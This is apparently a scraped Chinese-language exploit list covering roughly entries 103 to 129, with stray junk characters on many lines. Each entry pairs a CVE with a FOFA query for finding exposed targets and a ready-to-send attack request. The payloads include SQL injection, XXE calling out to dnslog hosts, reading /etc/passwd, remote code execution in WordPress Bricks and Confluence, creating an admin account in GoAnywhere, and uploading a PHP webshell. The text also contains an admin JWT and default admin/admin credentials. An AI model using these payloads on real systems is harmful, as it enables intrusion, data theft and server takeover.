) K! n. }; q1 rFOFA：body="welcome.cgi?p=logo"
# [/ o8 k6 c6 D+ [POST /dana-na/auth/saml-sso.cgi HTTP/1.1
# m" M, k3 N! K3 ^0 fHost: 192.168.40.130:111
( H- u; h3 T, s8 T) s; wUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
8 \! h# C0 ?. w/ H$ c/ o
" v% q7 _- K* ~/ a7 D! p+ LSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==

3 u) b; v- ]4 S& S+ |( D) a3 Q
) X# \4 l, L8 x7 N! @! j$ M9 z! f其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
% ?" d5 {4 Z9 z$ ^2 P<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
, H/ e) x2 x7 `9 V2 L- f8 r8 G9 Y
" C2 \, s* J8 t# k0 j+ q# B+ q
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
FOFA：title="TOTOLINK"
3 z: ]4 H. g7 i9 mPOST /cgi-bin/cstecgi.cgi HTTP/1.1
7 K- L& Q  B# c% D" y& aHost:192.168.0.1
3 m: }: v8 i1 l7 pContent-Length:41
% S9 w8 r( Z" p+ l1 h+ C' M3 u* ]Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
) _. [- K# \2 O9 COrigin: http://192.168.0.1
: i9 q4 G. D: e9 _: n- o1 AReferer: http://192.168.0.1/advance/index.html?time=1671152380564
2 }8 j  M5 L1 }Accept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close

{
2 q- V/ N* l8 z, D"topicurl":"getSysStatusCfg",
"token":""
) q/ r  H% B, n! j}
3 C1 ?2 n, N; G/ r5 l/ K
7 ?, {- f2 B+ \+ ~6 n105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
3 P/ f1 L2 J" y: c# r! _, `( f. C+ Q
8 }# Q1 \3 _/ H6 h+ ?. ^1 y106. SpringBlade dict-biz/list SQL 注入
8 ~* n4 e8 q1 f, n% ?6 k8 [FOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 w% k6 x! r( Q( {Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
8 g7 K$ j! F( E1 kAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
) w- p: k/ V- V! k8 t) c, PConnection: close

8 s+ j7 L9 ~  N) `" K8 Q
107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 d+ r, M- j0 }- v4 ]" D( ~( i7 ZBlade-Auth:替换为自己的
Connection: close
: j- i. k4 t+ n& }- F2 Q- E% x
6 b* P+ ?8 J% z
108. D-Tale 3.9.0 SSRF
CVE-2024-21642
/ S- ?! x" P5 n& y5 J$ h! lFOFA："dtale/static/images/favicon.png"
/ L3 l! A7 j2 A9 p6 I7 NGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
' Y- d3 r% u4 a7 `* z; g. e& f! ~3 HAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
% D6 j5 }" a" {- N3 q

& M' E! w+ U- ?109. Jenkins CLI 任意文件读取
7 z2 ^4 F% U. s) O  qCVE-2024-23897
; n# i; q; ]4 v% \' a9 I# _FOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
% \9 `+ w1 l; ]' Y: bHost:
. K% ]2 p- e; X$ j) PContent-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
Connection: keep-alive
Content-Length: 163

b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'


POST /cli?remoting=false HTTP/1.1
Host:
# `4 i5 S2 Z0 f5 ~# i# FSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
' n( V# D4 C( A6 Y7 Tdownload
- Q  N3 h" J& r3 n$ V2 [Content-Type: application/x-www-form-urlencoded
! _5 V# P4 f5 ]) d; ?1 ~Content-Length: 0
, v  X/ m/ _% E

ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
3 X' ^! w+ n- R+ g7 l[COMMAND]
4 @9 r$ Y. V" HLists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

0 ~4 d$ M7 H2 X) T, y: ?- f% B; [
110. Goanywhere MFT 未授权创建管理员
! A+ v7 \/ L8 n- NCVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
' S& ?* h1 K$ `5 @2 S6 V% yGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
1 w4 }* l& [4 |, K! xAccept: */*
Accept-Language: en
Accept-Encoding: gzip

0 ~; o0 |7 Z' f0 f% U+ S. S/ A
111. WordPress Plugin HTML5 Video Player SQL注入
) }, J, [2 W5 }. ZCVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
# ^7 H, ^/ I+ W1 w; x, h' D+ a# ^" \4 t) XHost: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
' o3 W. ]" M6 T, d( NConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

! `% P: F7 H( _% ~( p9 R
, c' m+ G; D/ G; H112. WordPress Plugin NotificationX SQL 注入
) {" g  d1 k0 T. c  z+ ~# ^CVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
( ?: O- G3 \% A/ ?POST /wp-json/notificationx/v1/analytics HTTP/1.1
: N% s+ |* x$ [2 E0 t8 E4 {4 Z# MHost: {{Hostname}}
' o1 D4 f1 |& wContent-Type: application/json
; @$ x9 h0 V  \- \+ n
- R  b' `9 E* v2 [5 v% Z  F{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}


113. WordPress Automatic 插件任意文件下载和SSRF
" D0 Y: D; b6 a2 Y- w' C* W7 b0 f0 v) YCVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
* ]/ v& ]# m( ]- b" h) wGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
% A3 @+ B) ^  xUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Accept: */*
" ~# r; [6 p& f$ c; aAccept-Language: en
Accept-Encoding: gzip

' A. W! @! z& K5 x& F
114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close


: Y8 l# c, U- d+ b' S115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
0 W& b$ i# C# C- n: G6 v* r- [FOFA: body="/wp-content/themes/bricks/"
5 X- h) `1 c- T# q8 {  C第一步，获取网站的nonce值
GET / HTTP/1.1
Host: x.x.x.x
& w5 n9 J8 y; R2 eUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Accept-Encoding: gzip


7 {, A7 g- o2 y; Y! i2 C: Z第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
7 u' L) j  O. {- z7 [- F7 ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
  x% d) s8 B- n& X3 @" m" A5 b# zConnection: close
Content-Length: 356
Content-Type: application/json
3 U. l0 N  w5 d+ V$ QAccept-Encoding: gzip

{
) G5 ?9 J! Z' f* @"postId": "1",
  "nonce": "第一步获得的值",
* e! a% V7 {" \. Q  "element": {
$ [$ Q* U. e* Z* s2 S    "name": "container",
! `5 \/ W2 n( m% w/ s" E1 Z  \! V, Z    "settings": {
      "hasLoop": "true",
      "query": {
        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
1 [3 v3 s5 l8 t! K* q      }
& q; l. s% o5 l, X1 E    }
" |& O- t! F5 R3 s& H  }
}
" Q9 k7 ~: @. E5 [; U+ z
8 F  _+ X1 Y( O
116. wordpress js-support-ticket文件上传
3 Z* \; e  r2 A- T1 O' n" IFOFA：body="wp-content/plugins/js-support-ticket"
5 F0 |* m  _8 w$ {* q/ vPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
8 B) }8 y& R0 W/ P) o7 r, W- rHost:
: f8 s. j% b2 Z& t5 J; X5 n6 XContent-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0
' r( v, X" L% q+ @+ O9 u3 h
& g6 g8 M! f3 ]! J----------767099171
Content-Disposition: form-data; name="action"
1 o, B( ~5 K0 ]; c  oconfiguration_saveconfiguration
  P( A" n: v7 t- [  O9 n' ?2 r: B----------767099171
9 l  q2 s5 e5 H: u( s, k; B$ a: OContent-Disposition: form-data; name="form_request"
jssupportticket
----------767099171
4 D1 {/ Q$ g3 }6 v% `: nContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
9 }. o' V% b5 U; |5 b) f. l% X1 C----------767099171--


& L7 ?/ d! Y4 J' Z" `117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
/ H+ j& q9 z/ D. U; hFOFA：body="/wp-content/plugins/LayerSlider/"
8 D! G8 T8 ^6 w5 z+ }  |) kGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
5 c  Q. v( d# k; FHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 A9 s$ u, o2 t: W" u1 GAccept-Encoding: gzip, deflate, br
% h) P& ^& }7 L7 s  X+ X( w& iConnection: close
) v5 p9 Q/ j, [* r9 i- K3 VUpgrade-Insecure-Requests: 1
0 S# B7 v. ^# P2 N! w
' K. j/ N6 Q1 M: T* d
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
, @  u/ U9 w$ D3 s3 R6 _FOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
Origin: https://192.168.40.130:8443
. H1 N' p, @3 n" \8 Z: P) W' c% KReferer: https://192.168.40.130:8443/Tool/uploadfile.php
# Q3 G# w* a- r4 z$ p' TUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
5 y, S2 w) R+ A+ S- aSec-Fetch-Mode: navigate
1 S4 I+ ^/ C( O+ i$ a/ jSec-Fetch-Site: same-origin
9 ?* }  E" c" Z& [5 b/ S  U4 hSec-Fetch-User: ?1
! k) o3 C* ?* m& ~1 Q, zTe: trailers
Connection: close

7 ]3 M6 f& w% Z6 j8 t# u-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream

$ ]- E( h4 Z* g  E<?php
system($_POST["passwd"]);
?>
-----------------------------13979701222747646634037182887
, n5 y& b) y/ y4 NContent-Disposition: form-data; name="txt_path"
: X! j/ ?4 b$ L9 W. R
2 @) f+ r: }6 w7 _4 ]8 l$ x* u5 {' V/home/src.php
-----------------------------13979701222747646634037182887--
' v# f7 y) _, ^5 s4 ^2 b& g

# F8 `9 b4 p& P; d访问/home/src.php

119. 北京百绰智能S20后台sysmanageajax.php sql注入
& [8 [0 [$ b+ N1 k: a3 d9 M, \CVE-2024-1254
FOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
9 h( ^% k7 v& l1 x7 g3 pAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
6 a* q$ N" S: O9 c% mContent-Length: 109
Origin: https://58.18.133.60:8443
) I6 ^" G+ W9 k2 M9 P5 qReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
9 R( [- o6 _8 f% |X-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
4 b- d8 \, N/ |# PTe: trailers
. _! A' c) s2 Z( Y7 XConnection: close
4 N, t3 Q( ^, M  @3 X  [
) B1 l+ m: u3 U5 h$ T/ K" Lsrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
2 u1 G0 E8 ?  l4 `: P- v  B2 h

120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
, u( f! H' f, e5 B5 pFOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
Host: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
7 d8 a1 \- X& B/ YUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
0 J( V2 T0 _  e9 ^% u! `Content-Length: 597
$ N7 H7 I8 I* aOrigin: https://ip:port
& Q+ W. W/ `" D/ X& vReferer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
# p+ a2 d- w+ D! eSec-Fetch-Dest: document
1 U6 R+ P$ X% q3 V. N! G( QSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
8 Q) _! t% w" OConnection: close
$ C+ a$ \7 Y9 ]2 f1 p
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream

) R- f6 H1 s# F( z<?php phpinfo()?>
& K$ e5 }0 s# G  R5 o-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

1_radhttp
  ]$ A+ t; ~9 W3 D0 p-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"
2 b' [* Q* A, c
. P" m4 K8 C4 y3 {import
, n% U% P+ c8 J3 ^; ]-----------------------------42328904123665875270630079328
+ }) m0 ^( u3 `/ u! R- J" }
1 a9 [1 Z* a& m. S
; h* H# d9 p2 m  c9 u文件路径/upload/2.php
. p. j% T  a! {: \5 S
* s9 {$ {# H% L2 g& }  f1 G$ i0 ~121. 北京百绰智能S42管理平台userattestation.php任意文件上传
: ~1 j4 \; L: qCVE-2024-1918
" U9 l1 o* l' _1 J4 S% N( Q0 ]! iFOFA：title="Smart管理平台"
5 h" g* }: L7 _POST /useratte/userattestation.php HTTP/1.1
. L( ?) W  J  U+ P# D- YHost: 192.168.40.130:8443
  T' |8 P- V. O0 w% HCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& H9 o: x4 m+ D9 a. }  |Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
6 a0 p) q; H: ~3 E. R% PContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
+ r, v! l. \/ y1 x8 B! }  V. dOrigin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
- n- E& ^7 |4 K& xSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
6 e4 Y( X' |7 \6 ?Sec-Fetch-User: ?1
3 M1 i5 Y& ~  h; S" f4 NTe: trailers
Connection: close

-----------------------------42328904123665875270630079328
, d, K& c: H4 A5 d/ ~Content-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream

% u1 x# @9 ^& x- s. Y<?php phpinfo();?>
. e/ O6 P5 K& W9 D9 o-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
7 V$ h& M0 ]% b( Y* H0 h
1
-----------------------------42328904123665875270630079328
! B- t% \- K2 J6 E' d$ _Content-Disposition: form-data; name="1_ck"
8 {/ F" O  \+ K4 I% \
# x" h0 `+ }, O  b1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"
# J. Y- b- M3 i5 T6 M0 i, m% {% i
0 `. w9 {% x; }: |* T) q% qset
-----------------------------42328904123665875270630079328


% ^$ L* F' J- x: c3 ?' Lboot/web/upload/weblogo/1.php

! k' {& n1 s4 I0 M3 L7 R/ \2 q/ g122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
, ^+ M( s/ E1 x8 p" M: RCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
5 r! U' H$ @2 {, _( AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
/ W: f9 l( h8 u0 K" _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 G5 T4 u* r  M: m& L9 U; m. lAccept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
4 [2 G) v& N9 R0 xSec-Fetch-Mode: navigate
Sec-Fetch-Site: none
. B9 ^/ }9 \8 ^9 i* ?0 [8 WSec-Fetch-User: ?1
6 f" s; w2 Z  e' ^  b5 uTe: trailers
Connection: close


123. Atlassian Confluence 模板注入代码执行
1 w% a# f& L7 X" @% I8 lFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
4 ^; ?1 {1 m3 ?; ePOST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
/ Y0 W. x0 X! qAccept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
; Y* n3 v- g6 ]5 ?3 XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
( F; o/ K) \: M5 {2 X$ GContent-Type: application/x-www-form-urlencoded

, d/ Y* V( I$ M+ r% X5 }, ?# xlabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
! W( F. _3 o7 M6 Q/ P1 M

. ^8 `* v9 A$ c7 z8 R) K124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
0 }. K+ |1 ?. j5 qUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
- K( n) ^+ J/ b  k8 d1 ^Content-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded

& D) z" w9 k; DfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>


8 X/ O- }7 x( vhttp://192.168.40.130:8282/Scripts/abcgcg.aspx

125. ConnectWise ScreenConnect身份验证绕过
: X* s! {) M5 h/ ?CVE-2024-1709
FOFA：icon_hash="-82958153"
9 |0 K+ H. F, t$ [& _. d, dhttps://github.com/watchtowrlabs ... bypass-add-user-poc
9 d/ k8 ^9 |* w0 c1 j6 j: P; u
6 c8 k: g3 a. X+ t- k$ R4 ?' N
使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!

8 h* a$ D" q6 D
% ~9 K3 x+ B8 B! E& q创建好用户后直接登录后台，可以执行系统命令。
" e. Y" R6 o( ?) m! F! c* {, C. a8 o
126. Aiohttp 路径遍历
+ t( |: ~  R- w- U* f; L& a# ZFOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
: y% U: h0 H+ f( i8 v2 xHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
# ^, z/ Q  d3 x; z0 ?, O' P, q- pAccept: */*
% p- r0 w! y. u( x7 `, ~, I' OAccept-Language: en
3 a* L1 x- a* r, a6 J, N( f8 ?Accept-Encoding: gzip
/ t4 O! `( W4 D( Q3 g
" x  q0 n4 R' s/ C
" o. Q2 l% z. g* j4 F1 n127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
' m- J7 U( k' I# l7 m! Y0 KPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
5 E( F: N0 |7 Z% o( aHost: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
0 R2 x! N( i0 S6 EContent-Length: 415
/ F+ A9 t. W8 Z- n) jAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 ~- u; y$ Q9 WAccept-Encoding: gzip, deflate
8 f$ K! O0 W5 r0 y) RAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
Sec-Purpose: prefetch;prerender

( M& ^! X& \0 {, c------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"
' _9 V3 a1 `, _) e
BIM
% c' b. K) E% [2 K! O: d& c5 Y------WebKitFormBoundaryJGgV5l5ta05yAIe0
) J0 v# |1 Y9 y: K2 I; J; WContent-Disposition: form-data;name="Params"
! e- X; O; q7 U& p/ yContent-Type: text/plain
9 G$ E6 b6 b$ o, ?
& B" l* q& @& [' E: B<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
0 O1 T' a3 l% _2 `* n<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
>
<test>&t;</test>
; ?/ \* E0 }" n: h8 H. |0 D------WebKitFormBoundaryJGgV5l5ta05yAIe0--



128. Adobe ColdFusion 反序列化
CVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
. E4 E3 O9 f8 C* d3 t5 xFOFA：app="Adobe-ColdFusion"
' u( Q  }# }5 gPAYLOAD
7 u& Y3 r+ d6 [' C, {) i. d
9 F% }, P& d5 z4 d7 f# [* G129. Adobe ColdFusion 任意文件读取
# R$ I2 m# K1 j' }3 CCVE-2024-20767
) N) I+ ]' Q( _, i6 K" ZFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
: X) h" E  g! T: E1 C9 G+ AGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
! x4 p+ ~8 i+ _. xConnection: close
2 G% _& N# P* z% x8 S

/ m4 U( E' \$ E+ ?, W& e" _, }第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
